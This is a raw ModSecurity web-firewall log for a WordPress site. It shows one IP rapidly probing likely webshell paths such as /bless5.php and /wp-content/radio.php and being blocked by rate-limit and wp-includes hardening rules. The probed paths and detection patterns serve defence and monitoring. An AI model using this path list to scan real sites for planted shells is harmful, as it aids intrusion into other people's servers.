[Sat Jan 10 04:50:19.845401 2026] [:error] [pid 20744:tid 20773] [client 65.52.163.14:1998] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aWFqC0A8oR5jvkFpcP9SZAAAANA"]
[Sat Jan 10 04:50:20.104678 2026] [:error] [pid 20744:tid 20775] [client 65.52.163.14:1969] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aWFqDEA8oR5jvkFpcP9SZQAAANI"]
[Sat Jan 10 04:50:20.422748 2026] [:error] [pid 20648:tid 20728] [client 65.52.163.14:1808] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aWFqDDBnnIoBkEBdx9D2GgAAAJM"]
[Sat Jan 10 04:50:20.689422 2026] [:error] [pid 20648:tid 20718] [client 65.52.163.14:2004] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aWFqDDBnnIoBkEBdx9D2HAAAAIk"]
[Sat Jan 10 04:50:20.925282 2026] [:error] [pid 20648:tid 20730] [client 65.52.163.14:2016] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/security.php"] [unique_id "aWFqDDBnnIoBkEBdx9D2HQAAAJU"]
[Sat Jan 10 04:50:21.159106 2026] [:error] [pid 20744:tid 20771] [client 65.52.163.14:1871] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/security.php"] [unique_id "aWFqDUA8oR5jvkFpcP9SaQAAAM4"]
[Sat Jan 10 04:50:21.399201 2026] [:error] [pid 20648:tid 20714] [client 65.52.163.14:2101] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/security.php"] [unique_id "aWFqDTBnnIoBkEBdx9D2HgAAAIU"]
[Sat Jan 10 04:50:21.632351 2026] [:error] [pid 20648:tid 20724] [client 65.52.163.14:1916] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/security.php"] [unique_id "aWFqDTBnnIoBkEBdx9D2HwAAAI8"]
[Sat Jan 10 04:50:21.875512 2026] [:error] [pid 20744:tid 20772] [client 65.52.163.14:1981] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aWFqDUA8oR5jvkFpcP9SawAAAM8"]
[Sat Jan 10 04:50:22.123733 2026] [:error] [pid 20744:tid 20764] [client 65.52.163.14:1879] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aWFqDkA8oR5jvkFpcP9SbQAAAMc"]
[Sat Jan 10 04:50:22.360330 2026] [:error] [pid 20648:tid 20711] [client 65.52.163.14:2028] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aWFqDjBnnIoBkEBdx9D2JAAAAII"]
[Sat Jan 10 04:50:22.622518 2026] [:error] [pid 20744:tid 20765] [client 65.52.163.14:1973] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aWFqDkA8oR5jvkFpcP9SbwAAAMg"]
[Sat Jan 10 04:50:22.865316 2026] [:error] [pid 20648:tid 20721] [client 65.52.163.14:1896] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aWFqDjBnnIoBkEBdx9D2JQAAAIw"]
[Sat Jan 10 04:50:23.101474 2026] [:error] [pid 20744:tid 20768] [client 65.52.163.14:1799] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aWFqD0A8oR5jvkFpcP9ScgAAAMs"]
[Sat Jan 10 04:50:23.390421 2026] [:error] [pid 20744:tid 20777] [client 65.52.163.14:1813] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aWFqD0A8oR5jvkFpcP9ScwAAANQ"]
[Sat Jan 10 04:50:23.689395 2026] [:error] [pid 20648:tid 20727] [client 65.52.163.14:1955] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aWFqDzBnnIoBkEBdx9D2JwAAAJI"]
[Sat Jan 10 04:50:23.930921 2026] [:error] [pid 20744:tid 20774] [client 65.52.163.14:1930] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aWFqD0A8oR5jvkFpcP9SdQAAANE"]
[Sat Jan 10 04:50:24.207237 2026] [:error] [pid 20744:tid 20757] [client 65.52.163.14:1810] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aWFqEEA8oR5jvkFpcP9SdgAAAMA"]
[Sat Jan 10 04:50:24.443170 2026] [:error] [pid 20744:tid 20773] [client 65.52.163.14:1974] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aWFqEEA8oR5jvkFpcP9SdwAAANA"]
[Sat Jan 10 04:50:24.680096 2026] [:error] [pid 20744:tid 20758] [client 65.52.163.14:1956] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aWFqEEA8oR5jvkFpcP9SewAAAME"]
[Sat Jan 10 04:50:24.913816 2026] [:error] [pid 20744:tid 20771] [client 65.52.163.14:1860] [client 65.52.163.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aWFqEEA8oR5jvkFpcP9SfAAAAM4"]
[Sat Jan 10 04:50:25.232031 2026] [:error] [pid 20744:tid 20764] [client 65.52.163.14:1975] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aWFqEUA8oR5jvkFpcP9SfQAAAMc"]
[Sat Jan 10 04:50:25.469774 2026] [:error] [pid 20744:tid 20777] [client 65.52.163.14:1865] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aWFqEUA8oR5jvkFpcP9SfgAAANQ"]
[Sat Jan 10 04:50:25.756389 2026] [:error] [pid 20646:tid 20675] [client 65.52.163.14:1798] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aWFqESKwdq_UhOM64b6dewAAABQ"]
[Sat Jan 10 04:50:26.010723 2026] [:error] [pid 20648:tid 20718] [client 65.52.163.14:1874] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aWFqEjBnnIoBkEBdx9D2LAAAAIk"]
[Sat Jan 10 04:50:26.264658 2026] [:error] [pid 20744:tid 20763] [client 65.52.163.14:1905] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aWFqEkA8oR5jvkFpcP9SggAAAMY"]
[Sat Jan 10 04:50:26.504963 2026] [:error] [pid 20744:tid 20775] [client 65.52.163.14:1823] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aWFqEkA8oR5jvkFpcP9SgwAAANI"]
[Sat Jan 10 04:50:26.815339 2026] [:error] [pid 20744:tid 20758] [client 65.52.163.14:1963] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aWFqEkA8oR5jvkFpcP9ShQAAAME"]
[Sat Jan 10 04:50:27.090729 2026] [:error] [pid 20647:tid 20699] [client 65.52.163.14:1983] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aWFqE6vb0x69MarUHzCXTwAAAFE"]
[Sat Jan 10 04:50:27.326027 2026] [:error] [pid 20744:tid 20778] [client 65.52.163.14:2044] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aWFqE0A8oR5jvkFpcP9ShwAAANU"]
[Sat Jan 10 04:50:27.675326 2026] [:error] [pid 20647:tid 20697] [client 65.52.163.14:1741] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aWFqE6vb0x69MarUHzCXUAAAAE8"]
[Sat Jan 10 04:50:28.031420 2026] [:error] [pid 20744:tid 20769] [client 65.52.163.14:1937] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aWFqFEA8oR5jvkFpcP9SiAAAAMw"]
[Sat Jan 10 04:50:28.299489 2026] [:error] [pid 20744:tid 20760] [client 65.52.163.14:1814] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aWFqFEA8oR5jvkFpcP9SiQAAAMM"]
[Sat Jan 10 04:50:28.551857 2026] [:error] [pid 20648:tid 20726] [client 65.52.163.14:1833] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aWFqFDBnnIoBkEBdx9D2LgAAAJE"]
[Sat Jan 10 04:50:28.792865 2026] [:error] [pid 20648:tid 20709] [client 65.52.163.14:2023] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aWFqFDBnnIoBkEBdx9D2LwAAAIA"]
[Sat Jan 10 04:50:29.058504 2026] [:error] [pid 20744:tid 20766] [client 65.52.163.14:1941] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aWFqFUA8oR5jvkFpcP9SigAAAMk"]
[Sat Jan 10 04:50:29.322961 2026] [:error] [pid 20744:tid 20759] [client 65.52.163.14:1883] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aWFqFUA8oR5jvkFpcP9SiwAAAMI"]
[Sat Jan 10 04:50:29.651915 2026] [:error] [pid 20648:tid 20722] [client 65.52.163.14:1932] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aWFqFTBnnIoBkEBdx9D2MAAAAI0"]
[Sat Jan 10 04:50:29.886896 2026] [:error] [pid 20744:tid 20767] [client 65.52.163.14:1664] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aWFqFUA8oR5jvkFpcP9SjQAAAMo"]
[Sat Jan 10 04:50:30.124136 2026] [:error] [pid 20648:tid 20719] [client 65.52.163.14:1820] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aWFqFjBnnIoBkEBdx9D2MQAAAIo"]
[Sat Jan 10 04:50:30.402144 2026] [:error] [pid 20648:tid 20713] [client 65.52.163.14:1936] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aWFqFjBnnIoBkEBdx9D2MgAAAIQ"]
[Sat Jan 10 04:50:30.648796 2026] [:error] [pid 20744:tid 20763] [client 65.52.163.14:1867] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aWFqFkA8oR5jvkFpcP9SjwAAAMY"]
[Sat Jan 10 04:50:30.904706 2026] [:error] [pid 20648:tid 20733] [client 65.52.163.14:1728] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aWFqFjBnnIoBkEBdx9D2MwAAAJg"]
[Sat Jan 10 04:50:31.153988 2026] [:error] [pid 20646:tid 20669] [client 65.52.163.14:1872] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aWFqFyKwdq_UhOM64b6dgAAAAA4"]
[Sat Jan 10 04:50:31.427803 2026] [:error] [pid 20646:tid 20656] [client 65.52.163.14:1913] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aWFqFyKwdq_UhOM64b6dggAAAAE"]
[Sat Jan 10 04:50:31.662033 2026] [:error] [pid 20647:tid 20687] [client 65.52.163.14:1859] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/log.php"] [unique_id "aWFqF6vb0x69MarUHzCXUwAAAEU"]
[Sat Jan 10 04:50:31.958985 2026] [:error] [pid 20648:tid 20721] [client 65.52.163.14:1858] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/log.php"] [unique_id "aWFqFzBnnIoBkEBdx9D2NQAAAIw"]
[Sat Jan 10 04:50:32.220722 2026] [:error] [pid 20647:tid 20704] [client 65.52.163.14:1870] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/log.php"] [unique_id "aWFqGKvb0x69MarUHzCXVAAAAFY"]
[Sat Jan 10 04:50:32.461059 2026] [:error] [pid 20744:tid 20765] [client 65.52.163.14:1982] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/log.php"] [unique_id "aWFqGEA8oR5jvkFpcP9SkwAAAMg"]
[Sat Jan 10 04:50:32.713821 2026] [:error] [pid 20647:tid 20691] [client 65.52.163.14:1864] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aWFqGKvb0x69MarUHzCXVQAAAEk"]
[Sat Jan 10 04:50:33.034608 2026] [:error] [pid 20646:tid 20663] [client 65.52.163.14:1897] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aWFqGSKwdq_UhOM64b6dhgAAAAg"]
[Sat Jan 10 04:50:33.278042 2026] [:error] [pid 20647:tid 20695] [client 65.52.163.14:1899] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aWFqGavb0x69MarUHzCXVwAAAE0"]
[Sat Jan 10 04:50:33.576000 2026] [:error] [pid 20646:tid 20671] [client 65.52.163.14:1915] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aWFqGSKwdq_UhOM64b6diAAAABA"]
[Sat Jan 10 04:50:33.838075 2026] [:error] [pid 20646:tid 20677] [client 65.52.163.14:1875] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless5.php"] [unique_id "aWFqGSKwdq_UhOM64b6diQAAABY"]
[Sat Jan 10 04:50:34.162693 2026] [:error] [pid 20646:tid 20674] [client 65.52.163.14:1902] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless5.php"] [unique_id "aWFqGiKwdq_UhOM64b6digAAABM"]
